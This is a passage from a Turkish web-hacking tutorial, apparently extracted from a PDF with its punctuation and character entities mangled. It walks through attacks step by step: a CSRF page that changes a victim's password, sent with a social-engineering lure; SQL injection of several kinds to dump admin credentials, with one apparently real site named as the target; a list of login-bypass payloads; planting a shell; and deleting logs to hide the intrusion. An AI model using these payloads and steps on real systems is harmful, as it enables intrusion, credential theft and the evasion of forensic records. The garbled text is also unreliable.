4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 20: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

